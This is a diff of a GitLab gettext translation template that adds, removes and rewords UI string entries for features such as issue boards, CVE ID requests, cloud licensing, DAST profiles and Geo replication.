+msgid "BambooService|Bamboo URL"
+msgstr ""
+
msgid "BambooService|Bamboo build plan key like KEY"
msgstr ""
@@ -4621,6 +4744,9 @@ msgstr ""
msgid "Be careful. Renaming a project's repository can have unintended side effects."
msgstr ""
+msgid "Before this can be merged, a Jira issue must be linked in the title or description"
+msgstr ""
+
msgid "Begin with the selected commit"
msgstr ""
@@ -4645,7 +4771,7 @@ msgstr ""
msgid "BillingPlans|%{group_name} is currently using the %{plan_name}."
msgstr ""
-msgid "BillingPlans|@%{user_name} you are currently using the %{plan_name} plan."
+msgid "BillingPlans|@%{user_name} you are currently using the %{plan_name}."
msgstr ""
msgid "BillingPlans|Congratulations, your free trial is activated."
@@ -4779,6 +4905,9 @@ msgstr[1] ""
msgid "Blocked issue"
msgstr ""
+msgid "Blocking"
+msgstr ""
+
msgid "Blocking issues"
msgstr ""
@@ -4809,6 +4938,11 @@ msgstr ""
msgid "Boards and Board Lists"
msgstr ""
+msgid "Boards|+ %{displayedIssuablesCount} more %{issuableType}"
+msgid_plural "Boards|+ %{displayedIssuablesCount} more %{issuableType}s"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "Boards|An error occurred while creating the issue. Please try again."
msgstr ""
@@ -4818,9 +4952,6 @@ msgstr ""
msgid "Boards|An error occurred while fetching group projects. Please try again."
msgstr ""
-msgid "Boards|An error occurred while fetching issues. Please reload the page."
-msgstr ""
-
msgid "Boards|An error occurred while fetching labels. Please reload the page."
msgstr ""
@@ -4839,6 +4970,9 @@ msgstr ""
msgid "Boards|An error occurred while generating lists. Please reload the page."
msgstr ""
+msgid "Boards|An error occurred while moving the epic. Please try again."
+msgstr ""
+
msgid "Boards|An error occurred while moving the issue. Please try again."
msgstr ""
@@ -4848,6 +4982,11 @@ msgstr ""
msgid "Boards|An error occurred while updating the list. Please try again."
msgstr ""
+msgid "Boards|Blocked by %{blockedByCount} %{issuableType}"
+msgid_plural "Boards|Blocked by %{blockedByCount} %{issuableType}s"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "Boards|Board"
msgstr ""
@@ -4860,6 +4999,15 @@ msgstr ""
msgid "Boards|Expand"
msgstr ""
+msgid "Boards|Failed to fetch blocking %{issuableType}s"
+msgstr ""
+
+msgid "Boards|Retrieving blocking %{issuableType}s"
+msgstr ""
+
+msgid "Boards|View all blocking %{issuableType}s"
+msgstr ""
+
msgid "Boards|View scope"
msgstr ""
@@ -4890,6 +5038,9 @@ msgstr ""
msgid "Board|Load more issues"
msgstr ""
+msgid "Bold text"
+msgstr ""
+
msgid "Both project and dashboard_path are required"
msgstr ""
@@ -5196,15 +5347,6 @@ msgstr ""
msgid "CHANGELOG"
msgstr ""
-msgid "CI / CD"
-msgstr ""
-
-msgid "CI / CD Analytics"
-msgstr ""
-
-msgid "CI / CD Settings"
-msgstr ""
-
msgid "CI Lint"
msgstr ""
@@ -5223,6 +5365,12 @@ msgstr ""
msgid "CI/CD"
msgstr ""
+msgid "CI/CD Analytics"
+msgstr ""
+
+msgid "CI/CD Settings"
+msgstr ""
+
msgid "CI/CD configuration"
msgstr ""
@@ -5312,6 +5460,27 @@ msgstr ""
msgid "CPU"
msgstr ""
+msgid "CVE|As a maintainer, requesting a CVE for a vulnerability in your project will help your users stay secure and informed."
+msgstr ""
+
+msgid "CVE|CVE ID Request"
+msgstr ""
+
+msgid "CVE|Common Vulnerability Enumeration (CVE) identifiers are used to track distinct vulnerabilities in specific versions of code."
+msgstr ""
+
+msgid "CVE|Create CVE ID Request"
+msgstr ""
+
+msgid "CVE|Enable CVE ID requests in the issue sidebar"
+msgstr ""
+
+msgid "CVE|Request CVE ID"
+msgstr ""
+
+msgid "CVE|Why Request a CVE ID?"
+msgstr ""
+
msgid "Callback URL"
msgstr ""
@@ -5408,6 +5577,9 @@ msgstr ""
msgid "Canceled deployment to"
msgstr ""
+msgid "Cancelled"
+msgstr ""
+
msgid "Cancelling Preview"
msgstr ""
@@ -5528,6 +5700,9 @@ msgstr ""
msgid "Change this value to influence how frequently the GitLab UI polls for updates."
msgstr ""
+msgid "Change this value to influence how frequently the GitLab UI polls for updates. If you set the value to 2 all polling intervals are multiplied by 2, which means that polling happens half as frequently. The multiplier can also have a decimal value. The default value (1) is a reasonable choice for the majority of GitLab installations. Set to 0 to completely disable polling."
+msgstr ""
+
msgid "Change title"
msgstr ""
@@ -5555,6 +5730,9 @@ msgstr ""
msgid "ChangeTypeAction|Pick into branch"
msgstr ""
+msgid "ChangeTypeAction|Pick into project"
+msgstr ""
+
msgid "ChangeTypeAction|Revert"
msgstr ""
@@ -5564,12 +5742,18 @@ msgstr ""
msgid "ChangeTypeAction|Search branches"
msgstr ""
+msgid "ChangeTypeAction|Search projects"
+msgstr ""
+
msgid "ChangeTypeAction|Start a %{newMergeRequest} with these changes"
msgstr ""
msgid "ChangeTypeAction|Switch branch"
msgstr ""
+msgid "ChangeTypeAction|Switch project"
+msgstr ""
+
msgid "ChangeTypeAction|This will create a new commit in order to revert the existing changes."
msgstr ""
@@ -6212,6 +6396,9 @@ msgstr ""
msgid "Close %{tabname}"
msgstr ""
+msgid "Close design"
+msgstr ""
+
msgid "Close epic"
msgstr ""
@@ -6245,6 +6432,48 @@ msgstr ""
msgid "Closes this %{quick_action_target}."
msgstr ""
+msgid "Cloud License"
+msgstr ""
+
+msgid "CloudLicense|Activate"
+msgstr ""
+
+msgid "CloudLicense|ID"
+msgstr ""
+
+msgid "CloudLicense|Last Sync"
+msgstr ""
+
+msgid "CloudLicense|Licensed to"
+msgstr ""
+
+msgid "CloudLicense|Manage"
+msgstr ""
+
+msgid "CloudLicense|Paste your activation code"
+msgstr ""
+
+msgid "CloudLicense|Paste your activation code below"
+msgstr ""
+
+msgid "CloudLicense|Plan"
+msgstr ""
+
+msgid "CloudLicense|Renews"
+msgstr ""
+
+msgid "CloudLicense|Started"
+msgstr ""
+
+msgid "CloudLicense|Subscription details"
+msgstr ""
+
+msgid "CloudLicense|Sync Subscription details"
+msgstr ""
+
+msgid "CloudLicense|This instance is currently using the %{planName} plan."
+msgstr ""
+
msgid "Cluster"
msgstr ""
@@ -6278,9 +6507,6 @@ msgstr ""
msgid "ClusterAgents|Configuration"
msgstr ""
-msgid "ClusterAgents|Connect your cluster with the GitLab Agent"
-msgstr ""
-
msgid "ClusterAgents|Created by"
msgstr ""
@@ -6299,12 +6525,21 @@ msgstr ""
msgid "ClusterAgents|Integrate with the GitLab Agent"
msgstr ""
+msgid "ClusterAgents|Last used"
+msgstr ""
+
msgid "ClusterAgents|Learn how to create an agent access token"
msgstr ""
+msgid "ClusterAgents|Learn more about installing the GitLab Agent"
+msgstr ""
+
msgid "ClusterAgents|Name"
msgstr ""
+msgid "ClusterAgents|Never"
+msgstr ""
+
msgid "ClusterAgents|The GitLab Agent also requires %{linkStart}enabling the Agent Server%{linkEnd}"
msgstr ""
@@ -6854,6 +7089,9 @@ msgstr ""
msgid "ClusterIntegration|Manage your Kubernetes cluster by visiting %{provider_link}"
msgstr ""
+msgid "ClusterIntegration|ModSecurity enabled"
+msgstr ""
+
msgid "ClusterIntegration|Namespace per environment"
msgstr ""
@@ -7561,6 +7799,9 @@ msgstr ""
msgid "Community forum"
msgstr ""
+msgid "Company"
+msgstr ""
+
msgid "Company name"
msgstr ""
@@ -7624,6 +7865,9 @@ msgstr ""
msgid "CompareRevisions|There was an error while loading the branch/tag list. Please try again."
msgstr ""
+msgid "CompareRevisions|There was an error while searching the branch/tag list. Please try again."
+msgstr ""
+
msgid "CompareRevisions|There was an error while updating the branch/tag list. Please try again."
msgstr ""
@@ -7909,6 +8153,9 @@ msgstr ""
msgid "Container does not exist"
msgstr ""
+msgid "Container must be a project or a group."
+msgstr ""
+
msgid "Container registry images"
msgstr ""
@@ -7937,9 +8184,6 @@ msgid_plural "ContainerRegistry|%{count} Tags"
msgstr[0] ""
msgstr[1] ""
-msgid "ContainerRegistry|%{imageName} tags"
-msgstr ""
-
msgid "ContainerRegistry|%{strongStart}Disabled%{strongEnd} - Tags will not be automatically deleted."
msgstr ""
@@ -8024,6 +8268,9 @@ msgstr ""
msgid "ContainerRegistry|Docker connection error"
msgstr ""
+msgid "ContainerRegistry|Enable expiration policy"
+msgstr ""
+
msgid "ContainerRegistry|Expiration policy is disabled"
msgstr ""
@@ -8042,6 +8289,9 @@ msgstr ""
msgid "ContainerRegistry|Image repository will be deleted"
msgstr ""
+msgid "ContainerRegistry|Image repository with no name located at the project URL."
+msgstr ""
+
msgid "ContainerRegistry|Image tags"
msgstr ""
@@ -8107,6 +8357,9 @@ msgstr ""
msgid "ContainerRegistry|Remove these tags"
msgstr ""
+msgid "ContainerRegistry|Root image"
+msgstr ""
+
msgid "ContainerRegistry|Run cleanup:"
msgstr ""
@@ -8329,6 +8582,9 @@ msgstr ""
msgid "Copy %{http_label} clone URL"
msgstr ""
+msgid "Copy %{name}"
+msgstr ""
+
msgid "Copy %{protocol} clone URL"
msgstr ""
@@ -8374,9 +8630,6 @@ msgstr ""
msgid "Copy commit SHA"
msgstr ""
-msgid "Copy email address"
-msgstr ""
-
msgid "Copy environment"
msgstr ""
@@ -8434,9 +8687,18 @@ msgstr ""
msgid "CorpusManagement|Fuzz testing corpus management"
msgstr ""
+msgid "CorpusManagement|New corpus"
+msgstr ""
+
+msgid "CorpusManagement|Total Size: %{totalSize}"
+msgstr ""
+
msgid "Could not add admins as members"
msgstr ""
+msgid "Could not apply %{name} command."
+msgstr ""
+
msgid "Could not archive %{design}. Please try again."
msgstr ""
@@ -8491,12 +8753,21 @@ msgstr ""
msgid "Could not find iteration"
msgstr ""
+msgid "Could not get the data properly"
+msgstr ""
+
msgid "Could not load the user chart. Please refresh the page to try again."
msgstr ""
msgid "Could not load usage counts. Please refresh the page to try again."
msgstr ""
+msgid "Could not remove %{user} from %{group}. Cannot remove last group owner."
+msgstr ""
+
+msgid "Could not remove %{user} from %{group}. User is not a group member."
+msgstr ""
+
msgid "Could not remove the trigger."
msgstr ""
@@ -8530,6 +8801,9 @@ msgstr ""
msgid "Could not upload your designs as one or more files uploaded are not supported."
msgstr ""
+msgid "Couldn't assign policy to project"
+msgstr ""
+
msgid "Country"
msgstr ""
@@ -8539,17 +8813,15 @@ msgstr ""
msgid "Coverage Fuzzing"
msgstr ""
-msgid "Coverage value for this pipeline was calculated by the coverage value of %d job."
-msgid_plural "Coverage value for this pipeline was calculated by averaging the resulting coverage values of %d jobs."
-msgstr[0] ""
-msgstr[1] ""
-
msgid "Create"
msgstr ""
msgid "Create %{environment}"
msgstr ""
+msgid "Create %{humanized_resource_name}"
+msgstr ""
+
msgid "Create %{type}"
msgstr ""
@@ -8694,9 +8966,6 @@ msgstr ""
msgid "Create new file or directory"
msgstr ""
-msgid "Create new issue in Jira"
-msgstr ""
-
msgid "Create new label"
msgstr ""
@@ -8718,6 +8987,9 @@ msgstr ""
msgid "Create snippet"
msgstr ""
+msgid "Create tag %{tagName}"
+msgstr ""
+
msgid "Create wildcard: %{searchTerm}"
msgstr ""
@@ -8871,6 +9143,9 @@ msgstr ""
msgid "Created"
msgstr ""
+msgid "Created %{epicTimeagoDate}"
+msgstr ""
+
msgid "Created %{timestamp}"
msgstr ""
@@ -8934,6 +9209,9 @@ msgstr ""
msgid "Creating graphs uses the data from the Prometheus server. If this takes a long time, ensure that data is available."
msgstr ""
+msgid "Creating pack file bitmaps makes housekeeping take a little longer but bitmaps should accelerate 'git clone' performance."
+msgstr ""
+
msgid "Creation date"
msgstr ""
@@ -9236,8 +9514,10 @@ msgstr ""
msgid "CycleAnalytics|Show"
msgstr ""
-msgid "CycleAnalytics|Showing %{subjectFilterText} and %{selectedLabelsCount} labels"
-msgstr ""
+msgid "CycleAnalytics|Showing %{subjectFilterText} and %{selectedLabelsCount} label"
+msgid_plural "CycleAnalytics|Showing %{subjectFilterText} and %{selectedLabelsCount} labels"
+msgstr[0] ""
+msgstr[1] ""
msgid "CycleAnalytics|Showing data for group '%{groupName}' and %{selectedProjectCount} projects from %{startDate} to %{endDate}"
msgstr ""
@@ -9332,6 +9612,9 @@ msgstr ""
msgid "DastProfiles|Authentication URL"
msgstr ""
+msgid "DastProfiles|Branch missing"
+msgstr ""
+
msgid "DastProfiles|Could not create the scanner profile. Please try again."
msgstr ""
@@ -9401,6 +9684,12 @@ msgstr ""
msgid "DastProfiles|Enable Authentication"
msgstr ""
+msgid "DastProfiles|Enter URLs in a comma-separated list."
+msgstr ""
+
+msgid "DastProfiles|Enter headers in a comma-separated list."
+msgstr ""
+
msgid "DastProfiles|Error Details"
msgstr ""
@@ -9461,6 +9750,9 @@ msgstr ""
msgid "DastProfiles|Profile name"
msgstr ""
+msgid "DastProfiles|Request header names and values. Headers are added to every request made by DAST."
+msgstr ""
+
msgid "DastProfiles|Request headers"
msgstr ""
@@ -9494,6 +9786,9 @@ msgstr ""
msgid "DastProfiles|Scanner name"
msgstr ""
+msgid "DastProfiles|Select branch"
+msgstr ""
+
msgid "DastProfiles|Show debug messages"
msgstr ""
@@ -9524,12 +9819,24 @@ msgstr ""
msgid "DastProfiles|The maximum number of seconds allowed for the site under test to respond to a request."
msgstr ""
+msgid "DastProfiles|This profile is currently being used in a policy."
+msgstr ""
+
+msgid "DastProfiles|This scanner profile is currently being used by a policy. To make edits you must remove it from the active policy."
+msgstr ""
+
+msgid "DastProfiles|This site profile is currently being used by a policy. To make edits you must remove it from the active policy."
+msgstr ""
+
msgid "DastProfiles|Turn on AJAX spider"
msgstr ""
msgid "DastProfiles|URL"
msgstr ""
+msgid "DastProfiles|URLs to skip during the authenticated scan. Use regular expression syntax to match multiple URLs."
+msgstr ""
+
msgid "DastProfiles|Username"
msgstr ""
@@ -9607,6 +9914,9 @@ msgstr ""
msgid "DastSiteValidation|Validation failed"
msgstr ""
+msgid "DastSiteValidation|Validation failed for %{url}. %{retryButtonStart}Retry validation%{retryButtonEnd}."
+msgstr ""
+
msgid "DastSiteValidation|Validation succeeded. Both active and passive scans can be run against the target site."
msgstr ""
@@ -9637,6 +9947,9 @@ msgstr ""
msgid "Date range is greater than %{quarter_days} days"
msgstr ""
+msgid "Date range must be shorter than %{max_range} days."
+msgstr ""
+
msgid "Day of month"
msgstr ""
@@ -10054,13 +10367,19 @@ msgstr ""
msgid "DeployFreeze|Add a freeze period to prevent unintended releases during a period of time for a given environment. You must update the deployment jobs in %{filename} according to the deploy freezes added here. %{freeze_period_link_start}Learn more.%{freeze_period_link_end}"
msgstr ""
+msgid "DeployFreeze|Add deploy freeze"
+msgstr ""
+
+msgid "DeployFreeze|Edit"
+msgstr ""
+
msgid "DeployFreeze|Freeze end"
msgstr ""
msgid "DeployFreeze|Freeze start"
msgstr ""
-msgid "DeployFreeze|No deploy freezes exist for this project. To add one, click %{strongStart}Add deploy freeze%{strongEnd}"
+msgid "DeployFreeze|No deploy freezes exist for this project. To add one, select %{strongStart}Add deploy freeze%{strongEnd}"
msgstr ""
msgid "DeployFreeze|Specify deploy freezes using %{cron_syntax_link_start}cron syntax%{cron_syntax_link_end}."
@@ -10171,9 +10490,6 @@ msgstr ""
msgid "DeployTokens|Revoke"
msgstr ""
-msgid "DeployTokens|Revoke %{b_start}%{name}%{b_end}?"
-msgstr ""
-
msgid "DeployTokens|Revoke %{name}"
msgstr ""
@@ -10201,9 +10517,6 @@ msgstr ""
msgid "DeployTokens|Username"
msgstr ""
-msgid "DeployTokens|You are about to revoke %{b_start}%{name}%{b_end}."
-msgstr ""
-
msgid "DeployTokens|Your new Deploy Token username"
msgstr ""
@@ -10317,9 +10630,6 @@ msgstr ""
msgid "Descriptive label"
msgstr ""
-msgid "Deselect all"
-msgstr ""
-
msgid "Design Management files and data"
msgstr ""
@@ -10479,13 +10789,13 @@ msgstr ""
msgid "Detect host keys"
msgstr ""
-msgid "DevOps Report"
+msgid "DevOps Adoption"
msgstr ""
-msgid "DevopsAdoption|%{selectedCount} group selected"
+msgid "DevOps Report"
msgstr ""
-msgid "DevopsAdoption|%{selectedCount} groups selected"
+msgid "DevopsAdoption|Add / remove groups"
msgstr ""
msgid "DevopsAdoption|Add Group"
@@ -10500,7 +10810,7 @@ msgstr ""
msgid "DevopsAdoption|An error occurred while removing the group. Please try again."
msgstr ""
-msgid "DevopsAdoption|An error occurred while saving the group. Please try again."
+msgid "DevopsAdoption|An error occurred while saving changes. Please try again."
msgstr ""
msgid "DevopsAdoption|Approvals"
@@ -10754,6 +11064,9 @@ msgstr ""
msgid "Dismiss Value Stream Analytics introduction box"
msgstr ""
+msgid "Dismiss merge request promotion"
+msgstr ""
+
msgid "Dismiss selected"
msgstr ""
@@ -10997,6 +11310,9 @@ msgstr ""
msgid "Edit comment"
msgstr ""
+msgid "Edit deploy freeze"
+msgstr ""
+
msgid "Edit description"
msgstr ""
@@ -11009,6 +11325,9 @@ msgstr ""
msgid "Edit fork in Web IDE"
msgstr ""
+msgid "Edit group application"
+msgstr ""
+
msgid "Edit group: %{group_name}"
msgstr ""
@@ -11228,6 +11547,9 @@ msgstr ""
msgid "Enable Auto DevOps"
msgstr ""
+msgid "Enable Git pack file bitmap creation"
+msgstr ""
+
msgid "Enable Gitpod"
msgstr ""
@@ -11252,6 +11574,9 @@ msgstr ""
msgid "Enable Pseudonymizer data collection"
msgstr ""
+msgid "Enable Repository Checks"
+msgstr ""
+
msgid "Enable SSL verification"
msgstr ""
@@ -11264,6 +11589,9 @@ msgstr ""
msgid "Enable access to Grafana"
msgstr ""
+msgid "Enable access to the Performance Bar"
+msgstr ""
+
msgid "Enable access to the Performance Bar for a given group."
msgstr ""
@@ -11276,6 +11604,9 @@ msgstr ""
msgid "Enable and disable Service Desk. Some additional configuration might be required. %{link_start}Learn more%{link_end}."
msgstr ""
+msgid "Enable automatic repository housekeeping (git repack, git gc)"
+msgstr ""
+
msgid "Enable classification control using an external service"
msgstr ""
@@ -11387,6 +11718,9 @@ msgstr ""
msgid "Enabled Git access protocols"
msgstr ""
+msgid "Enabled OAuth sign-in sources"
+msgstr ""
+
msgid "Enabled sources for code import during project creation. OmniAuth must be configured for GitHub"
msgstr ""
@@ -11456,9 +11790,6 @@ msgstr ""
msgid "Enter merge request URLs"
msgstr ""
-msgid "Enter new %{field_title}"
-msgstr ""
-
msgid "Enter new AWS Secret Access Key"
msgstr ""
@@ -12086,19 +12417,19 @@ msgstr ""
msgid "ErrorTracking|Active"
msgstr ""
-msgid "ErrorTracking|After adding your Auth Token, use the 'Connect' button to load projects"
+msgid "ErrorTracking|After adding your Auth Token, select the Connect button to load projects."
msgstr ""
msgid "ErrorTracking|Auth Token"
msgstr ""
-msgid "ErrorTracking|Click 'Connect' to re-establish the connection to Sentry and activate the dropdown."
+msgid "ErrorTracking|Click Connect to reestablish the connection to Sentry and activate the dropdown."
msgstr ""
-msgid "ErrorTracking|Connection has failed. Re-check Auth Token and try again."
+msgid "ErrorTracking|Connection failed. Check Auth Token and try again."
msgstr ""
-msgid "ErrorTracking|If you self-host Sentry, enter the full URL of your Sentry instance. If you're using Sentry's hosted solution, enter https://sentry.io"
+msgid "ErrorTracking|If you self-host Sentry, enter your Sentry instance's full URL. If you use Sentry's hosted solution, enter https://sentry.io"
msgstr ""
msgid "ErrorTracking|No projects available"
@@ -12107,7 +12438,7 @@ msgstr ""
msgid "ErrorTracking|Select project"
msgstr ""
-msgid "ErrorTracking|To enable project selection, enter a valid Auth Token"
+msgid "ErrorTracking|To enable project selection, enter a valid Auth Token."
msgstr ""
msgid "Errors"
@@ -12218,9 +12549,6 @@ msgstr ""
msgid "Evidence collection"
msgstr ""
-msgid "Ex: Example.com"
-msgstr ""
-
msgid "Exactly one of %{attributes} is required"
msgstr ""
@@ -12287,6 +12615,9 @@ msgstr ""
msgid "Expand milestones"
msgstr ""
+msgid "Expand panel"
+msgstr ""
+
msgid "Expand sidebar"
msgstr ""
@@ -12356,6 +12687,9 @@ msgstr ""
msgid "Export"
msgstr ""
+msgid "Export %{name}"
+msgstr ""
+
msgid "Export %{requirementsCount} requirements?"
msgstr ""
@@ -12368,12 +12702,6 @@ msgstr ""
msgid "Export group"
msgstr ""
-msgid "Export issues"
-msgstr ""
-
-msgid "Export merge requests"
-msgstr ""
-
msgid "Export project"
msgstr ""
@@ -12401,9 +12729,6 @@ msgstr ""
msgid "External URL"
msgstr ""
-msgid "External Wiki"
-msgstr ""
-
msgid "External authentication"
msgstr ""
@@ -12425,13 +12750,16 @@ msgstr ""
msgid "ExternalAuthorizationService|When no classification label is set the default label `%{default_label}` will be used."
msgstr ""
-msgid "ExternalWikiService|External Wiki"
+msgid "ExternalWikiService|External wiki"
+msgstr ""
+
+msgid "ExternalWikiService|External wiki URL"
msgstr ""
msgid "ExternalWikiService|Replaces the link to the internal wiki with a link to an external wiki."
msgstr ""
-msgid "ExternalWikiService|The URL of the external Wiki"
+msgid "ExternalWikiService|The URL of the external wiki"
msgstr ""
msgid "Facebook"
@@ -12530,6 +12858,9 @@ msgstr ""
msgid "Failed to install."
msgstr ""
+msgid "Failed to load assignees."
+msgstr ""
+
msgid "Failed to load assignees. Please try again."
msgstr ""
@@ -12557,9 +12888,15 @@ msgstr ""
msgid "Failed to load groups, users and deploy keys."
msgstr ""
+msgid "Failed to load iterations."
+msgstr ""
+
msgid "Failed to load labels. Please try again."
msgstr ""
+msgid "Failed to load milestones."
+msgstr ""
+
msgid "Failed to load milestones. Please try again."
msgstr ""
@@ -12608,9 +12945,6 @@ msgstr ""
msgid "Failed to remove a to-do item for the design."
msgstr ""
-msgid "Failed to remove issue from board, please try again."
-msgstr ""
-
msgid "Failed to remove mirror."
msgstr ""
@@ -12665,9 +12999,6 @@ msgstr ""
msgid "Failed to update issue status"
msgstr ""
-msgid "Failed to update issues, please try again."
-msgstr ""
-
msgid "Failed to update the Canary Ingress."
msgstr ""
@@ -13051,10 +13382,10 @@ msgstr ""
msgid "Filter by %{issuable_type} that are currently closed."
msgstr ""
-msgid "Filter by %{issuable_type} that are currently opened."
+msgid "Filter by %{issuable_type} that are currently open."
msgstr ""
-msgid "Filter by %{page_context_word} that are currently opened."
+msgid "Filter by %{page_context_word} that are currently open."
msgstr ""
msgid "Filter by Git revision"
@@ -13087,7 +13418,7 @@ msgstr ""
msgid "Filter by test cases that are currently archived."
msgstr ""
-msgid "Filter by test cases that are currently opened."
+msgid "Filter by test cases that are currently open."
msgstr ""
msgid "Filter by two-factor authentication"
@@ -13189,6 +13520,9 @@ msgstr ""
msgid "FlowdockService|Flowdock is a collaboration web app for technical teams."
msgstr ""
+msgid "Focus filter bar"
+msgstr ""
+
msgid "FogBugz Email"
msgstr ""
@@ -13237,12 +13571,15 @@ msgstr ""
msgid "For each job, re-use the project workspace. If the workspace doesn't exist, use %{code_open}git clone%{code_close}."
msgstr ""
-msgid "For help setting up the Service Desk for your instance, please contact an administrator."
+msgid "For general work"
msgstr ""
msgid "For individual use, create a separate account under your personal email address, not tied to the Enterprise email domain or group."
msgstr ""
+msgid "For investigating IT service disruptions or outages"
+msgstr ""
+
msgid "For more info, read the documentation."
msgstr ""
@@ -13252,9 +13589,6 @@ msgstr ""
msgid "For more information, go to the "
msgstr ""
-msgid "For more information, please review %{link_start_tag}Jaeger's configuration doc%{link_end_tag}"
-msgstr ""
-
msgid "For more information, see the File Hooks documentation."
msgstr ""
@@ -13279,6 +13613,9 @@ msgstr ""
msgid "Fork project?"
msgstr ""
+msgid "ForkProject|A fork is a copy of a project."
+msgstr ""
+
msgid "ForkProject|Cancel"
msgstr ""
@@ -13288,6 +13625,9 @@ msgstr ""
msgid "ForkProject|Fork project"
msgstr ""
+msgid "ForkProject|Forking a repository allows you to make changes without affecting the original project."
+msgstr ""
+
msgid "ForkProject|Internal"
msgstr ""
@@ -13303,6 +13643,9 @@ msgstr ""
msgid "ForkProject|Select a namespace"
msgstr ""
+msgid "ForkProject|Select a namespace to fork the project"
+msgstr ""
+
msgid "ForkProject|The project can be accessed by any logged in user."
msgstr ""
@@ -13321,9 +13664,6 @@ msgstr ""
msgid "ForkedFromProjectPath|Forked from an inaccessible project"
msgstr ""
-msgid "Forking a repository allows you to make changes without affecting the original project."
-msgstr ""
-
msgid "Forking in progress"
msgstr ""
@@ -13585,6 +13925,9 @@ msgstr ""
msgid "Geo|%{name} is scheduled for re-verify"
msgstr ""
+msgid "Geo|%{title} checksum progress"
+msgstr ""
+
msgid "Geo|Add site"
msgstr ""
@@ -13627,9 +13970,15 @@ msgstr ""
msgid "Geo|Could not remove tracking entry for an existing upload."
msgstr ""
+msgid "Geo|Data replication lag"
+msgstr ""
+
msgid "Geo|Discover GitLab Geo"
msgstr ""
+msgid "Geo|Does not match the primary storage configuration"
+msgstr ""
+
msgid "Geo|Failed"
msgstr ""
@@ -13654,6 +14003,15 @@ msgstr ""
msgid "Geo|In sync"
msgstr ""
+msgid "Geo|Internal URL"
+msgstr ""
+
+msgid "Geo|Last event ID from primary"
+msgstr ""
+
+msgid "Geo|Last event ID processed by cursor"
+msgstr ""
+
msgid "Geo|Last repository check run"
msgstr ""
@@ -13687,6 +14045,12 @@ msgstr ""
msgid "Geo|Not synced yet"
msgstr ""
+msgid "Geo|Nothing to synchronize"
+msgstr ""
+
+msgid "Geo|Number of %{title}"
+msgstr ""
+
msgid "Geo|Pending synchronization"
msgstr ""
@@ -13714,6 +14078,9 @@ msgstr ""
msgid "Geo|Projects in certain storage shards"
msgstr ""
+msgid "Geo|Queued"
+msgstr ""
+
msgid "Geo|Redownload"
msgstr ""
@@ -13726,6 +14093,30 @@ msgstr ""
msgid "Geo|Remove tracking database entry"
msgstr ""
+msgid "Geo|Replicated data is verified with the secondary node(s) using checksums."
+msgstr ""
+
+msgid "Geo|Replication Details"
+msgstr ""
+
+msgid "Geo|Replication counts"
+msgstr ""
+
+msgid "Geo|Replication details"
+msgstr ""
+
+msgid "Geo|Replication slot WAL"
+msgstr ""
+
+msgid "Geo|Replication slots"
+msgstr ""
+
+msgid "Geo|Replication status"
+msgstr ""
+
+msgid "Geo|Replication summary"
+msgstr ""
+
msgid "Geo|Resync"
msgstr ""
@@ -13753,6 +14144,9 @@ msgstr ""
msgid "Geo|Status"
msgstr ""
+msgid "Geo|Storage config"
+msgstr ""
+
msgid "Geo|Synced"
msgstr ""
@@ -13765,6 +14159,9 @@ msgstr ""
msgid "Geo|Synchronization of %{itemTitle} is disabled."
msgstr ""
+msgid "Geo|Synchronization settings"
+msgstr ""
+
msgid "Geo|The database is currently %{db_lag} behind the primary node."
msgstr ""
@@ -13798,6 +14195,9 @@ msgstr ""
msgid "Geo|Verification failed - %{error}"
msgstr ""
+msgid "Geo|Verificaton information"
+msgstr ""
+
msgid "Geo|Waiting for scheduler"
msgstr ""
@@ -13843,6 +14243,9 @@ msgstr ""
msgid "Git"
msgstr ""
+msgid "Git GC period"
+msgstr ""
+
msgid "Git LFS is not enabled on this GitLab server, contact your admin."
msgstr ""
@@ -13972,6 +14375,12 @@ msgstr ""
msgid "GitLab uses %{jaeger_link} to monitor distributed systems."
msgstr ""
+msgid "GitLab version"
+msgstr ""
+
+msgid "GitLab will periodically run %{link_to_git_fsck} in all project and wiki repositories to look for silent disk corruption issues."
+msgstr ""
+
msgid "GitLab will run a background job that will produce pseudonymized CSVs of the GitLab database that will be uploaded to your configured object storage directory."
msgstr ""
@@ -14095,6 +14504,24 @@ msgstr ""
msgid "Gitea Import"
msgstr ""
+msgid "GithubIntegration|Create a %{token_link_start}personal access token%{token_link_end} with %{status_html} access granted and paste it here."
+msgstr ""
+
+msgid "GithubIntegration|Obtain statuses for commits and pull requests."
+msgstr ""
+
+msgid "GithubIntegration|Repository URL"
+msgstr ""
+
+msgid "GithubIntegration|Select this if you want GitHub to mark status checks as \"Required\". %{learn_more_link_start}Learn more%{learn_more_link_end}."
+msgstr ""
+
+msgid "GithubIntegration|Static status check names (optional)"
+msgstr ""
+
+msgid "GithubIntegration|This requires mirroring your GitHub repository to this project. %{docs_link}"
+msgstr ""
+
msgid "Gitlab Pages"
msgstr ""
@@ -14137,9 +14564,6 @@ msgstr ""
msgid "Go back (while searching for files)"
msgstr ""
-msgid "Go back to %{tagStart}Open issues%{tagEnd} and select some issues to add to your board."
-msgstr ""
-
msgid "Go full screen"
msgstr ""
@@ -14269,16 +14693,13 @@ msgstr ""
msgid "Grafana response contains invalid json"
msgstr ""
-msgid "GrafanaIntegration|API Token"
+msgid "GrafanaIntegration|API token"
msgstr ""
msgid "GrafanaIntegration|Active"
msgstr ""
-msgid "GrafanaIntegration|Embed Grafana charts in GitLab issues."
-msgstr ""
-
-msgid "GrafanaIntegration|Enter the Grafana API Token."
+msgid "GrafanaIntegration|Enter the Grafana API token."
msgstr ""
msgid "GrafanaIntegration|Enter the base URL of the Grafana instance."
@@ -14290,6 +14711,9 @@ msgstr ""
msgid "GrafanaIntegration|Grafana authentication"
msgstr ""
+msgid "GrafanaIntegration|Set up Grafana authentication to embed Grafana panels in GitLab Flavored Markdown."
+msgstr ""
+
msgid "Grant access"
msgstr ""
@@ -14347,6 +14771,12 @@ msgstr ""
msgid "Group Wikis"
msgstr ""
+msgid "Group application: %{name}"
+msgstr ""
+
+msgid "Group applications"
+msgstr ""
+
msgid "Group avatar"
msgstr ""
@@ -14428,9 +14858,6 @@ msgstr ""
msgid "Group project URLs are prefixed with the group namespace"
msgstr ""
-msgid "Group push rule exists, try updating"
-msgstr ""
-
msgid "Group requires separate account"
msgstr ""
@@ -14533,9 +14960,15 @@ msgstr ""
msgid "GroupSAML|Are you sure you want to remove the SAML group link?"
msgstr ""
+msgid "GroupSAML|Before enforcing SSO, enable SAML authentication."
+msgstr ""
+
msgid "GroupSAML|Certificate fingerprint"
msgstr ""
+msgid "GroupSAML|Check SSO on git activity"
+msgstr ""
+
msgid "GroupSAML|Configuration"
